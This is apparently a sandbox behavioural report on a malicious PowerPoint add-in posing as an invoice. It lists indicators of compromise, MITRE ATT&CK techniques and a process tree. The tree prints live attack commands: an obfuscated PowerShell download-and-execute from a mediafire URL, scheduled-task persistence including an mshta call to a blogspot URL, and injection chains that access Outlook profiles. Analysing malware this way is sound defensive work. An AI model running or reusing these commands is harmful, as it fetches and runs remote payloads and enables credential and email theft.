f7353ec4f751d69464d3b51344e2283e8a5607eb5c2b66cbb5a6b0102a58f697

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\helloitsindian.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\helloitsindian.vbs	WScript.exe
File created	C:\Users\Admin\appData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Update.js	POWERPNT.EXE

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3112 set thread context of 4188	3112	powershell.exe	107
PID 3112 set thread context of 796	3112	powershell.exe	108
PID 3112 set thread context of 3268	3112	powershell.exe	109

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	dw20.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 9 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2212	schtasks.exe
3464	schtasks.exe
1672	schtasks.exe

Enumerates system info in registry 2 TTPs 7 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings	WScript.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4432	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1368	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3728	powershell.exe
3728	powershell.exe
3112	powershell.exe
3112	powershell.exe
3112	powershell.exe
3112	powershell.exe
3112	powershell.exe
3112	powershell.exe
3112	powershell.exe
3112	powershell.exe
4188	jsc.exe
4188	jsc.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	3728	powershell.exe
Token: SeDebugPrivilege	3112	powershell.exe
Token: SeRestorePrivilege	2260	dw20.exe
Token: SeBackupPrivilege	2260	dw20.exe
Token: SeBackupPrivilege	2260	dw20.exe
Token: SeBackupPrivilege	4560	dw20.exe
Token: SeBackupPrivilege	4560	dw20.exe
Token: SeBackupPrivilege	2260	dw20.exe
Token: SeBackupPrivilege	2260	dw20.exe
Token: SeDebugPrivilege	4188	jsc.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1368	POWERPNT.EXE
1368	POWERPNT.EXE
1368	POWERPNT.EXE
4188	jsc.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 1368 wrote to memory of 4804	1368	POWERPNT.EXE	83
PID 1368 wrote to memory of 4804	1368	POWERPNT.EXE	83
PID 4804 wrote to memory of 3728	4804	wscript.exe	86
PID 4804 wrote to memory of 3728	4804	wscript.exe	86
PID 4804 wrote to memory of 3464	4804	wscript.exe	89
PID 4804 wrote to memory of 3464	4804	wscript.exe	89
PID 3728 wrote to memory of 3508	3728	powershell.exe	94
PID 3728 wrote to memory of 3508	3728	powershell.exe	94
PID 3728 wrote to memory of 4432	3728	powershell.exe	95
PID 3728 wrote to memory of 4432	3728	powershell.exe	95
PID 3508 wrote to memory of 3184	3508	WScript.exe	98
PID 3508 wrote to memory of 3184	3508	WScript.exe	98
PID 3508 wrote to memory of 4756	3508	WScript.exe	99
PID 3508 wrote to memory of 4756	3508	WScript.exe	99
PID 4756 wrote to memory of 3112	4756	cmd.exe	101
PID 4756 wrote to memory of 3112	4756	cmd.exe	101
PID 3184 wrote to memory of 1672	3184	WScript.exe	103
PID 3184 wrote to memory of 1672	3184	WScript.exe	103
PID 3184 wrote to memory of 2212	3184	WScript.exe	105
PID 3184 wrote to memory of 2212	3184	WScript.exe	105
PID 3112 wrote to memory of 4188	3112	powershell.exe	107
PID 3112 wrote to memory of 4188	3112	powershell.exe	107
PID 3112 wrote to memory of 4188	3112	powershell.exe	107
PID 3112 wrote to memory of 4188	3112	powershell.exe	107
PID 3112 wrote to memory of 4188	3112	powershell.exe	107
PID 3112 wrote to memory of 4188	3112	powershell.exe	107
PID 3112 wrote to memory of 4188	3112	powershell.exe	107
PID 3112 wrote to memory of 4188	3112	powershell.exe	107
PID 3112 wrote to memory of 796	3112	powershell.exe	108
PID 3112 wrote to memory of 796	3112	powershell.exe	108
PID 3112 wrote to memory of 796	3112	powershell.exe	108
PID 3112 wrote to memory of 796	3112	powershell.exe	108
PID 3112 wrote to memory of 796	3112	powershell.exe	108
PID 3112 wrote to memory of 796	3112	powershell.exe	108
PID 3112 wrote to memory of 796	3112	powershell.exe	108
PID 3112 wrote to memory of 796	3112	powershell.exe	108
PID 3112 wrote to memory of 3268	3112	powershell.exe	109
PID 3112 wrote to memory of 3268	3112	powershell.exe	109
PID 3112 wrote to memory of 3268	3112	powershell.exe	109
PID 3112 wrote to memory of 3268	3112	powershell.exe	109
PID 3112 wrote to memory of 3268	3112	powershell.exe	109
PID 3112 wrote to memory of 3268	3112	powershell.exe	109
PID 3112 wrote to memory of 3268	3112	powershell.exe	109
PID 3112 wrote to memory of 3268	3112	powershell.exe	109
PID 796 wrote to memory of 2260	796	caspol.exe	110
PID 796 wrote to memory of 2260	796	caspol.exe	110
PID 796 wrote to memory of 2260	796	caspol.exe	110
PID 3268 wrote to memory of 4560	3268	Msbuild.exe	111
PID 3268 wrote to memory of 4560	3268	Msbuild.exe	111
PID 3268 wrote to memory of 4560	3268	Msbuild.exe	111
PID 3112 wrote to memory of 100	3112	powershell.exe	114
PID 3112 wrote to memory of 100	3112	powershell.exe	114
PID 100 wrote to memory of 4144	100	csc.exe	115
PID 100 wrote to memory of 4144	100	csc.exe	115
PID 3112 wrote to memory of 3540	3112	powershell.exe	116
PID 3112 wrote to memory of 3540	3112	powershell.exe	116
PID 3540 wrote to memory of 5040	3540	csc.exe	117
PID 3540 wrote to memory of 5040	3540	csc.exe	117

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\invoice_6_812937_pdf.ppam" /ou ""
1⤵
- Drops startup file
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1368
- C:\Windows\SYSTEM32\wscript.exe
  wscript.exe //b //e:jscript C:\\Users\\Public\\sys.ini
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP B -C (I'w'r('https://www.mediafire.com/file/0168mlb8ydtjtwx/6.txt/file') -useB) | .('{#}{_}'.replace('_','0').replace('#','1')-f'^#','>').replace('>','I').replace('^','E').replace('#','X') | ping 127.0.0.1
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3728
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\ProgramData\holatyrimakachola\helloitsindian.vbs"
      4⤵
      Checks computer location settings
      Drops startup file
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:3508
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\holatyrimakachola\JIGIJIGI.vbs"
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:3184
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 120 /tn Appligation /F /tr "C:\ProgramData\holatyrimakachola\helloitsindian.vbs"
        6⤵
        Creates scheduled task(s)
        
        PID:1672
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 45 /tn ChromiumPluginupdate /F /tr "C:\ProgramData\holatyrimakachola\ChromeExtentionUpdate.vbs"
        6⤵
        Creates scheduled task(s)
        
        PID:2212
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\ProgramData\holatyrimakachola\JIGIJIGI.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4756
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\holatyrimakachola\GOLGAPORA.PS1
        6⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3112
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
        7⤵
        Drops file in Drivers directory
        Accesses Microsoft Outlook profiles
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        outlook_office_path
        outlook_win_path
        
        PID:4188
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:796
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 784
        8⤵
        Drops file in Windows directory
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:2260
        
        C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3268
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 768
        8⤵
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:4560
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v0340o42\v0340o42.cmdline"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:100
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA2D7.tmp" "c:\Users\Admin\AppData\Local\Temp\v0340o42\CSC26C31378D5CE42758DAA4FB6D3FDB.TMP"
        8⤵
        
        PID:4144
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2xqoy0j3\2xqoy0j3.cmdline"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3540
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBF58.tmp" "c:\Users\Admin\AppData\Local\Temp\2xqoy0j3\CSCFD25DF61181741E8B4DFF8DED76E10F8.TMP"
        8⤵
        
        PID:5040
  - - C:\Windows\system32\PING.EXE
      "C:\Windows\system32\PING.EXE" 127.0.0.1
      4⤵
      Runs ping.exe
      PID:4432
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 100 /tn MicrosoftUpdater /F /tr """Mshta""""""http://www.6fgjfkgjfk.blogspot.com/atom.xml"""
    3⤵
    - Creates scheduled task(s)
    PID:3464

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

Remote System Discovery

T1018

System Information Discovery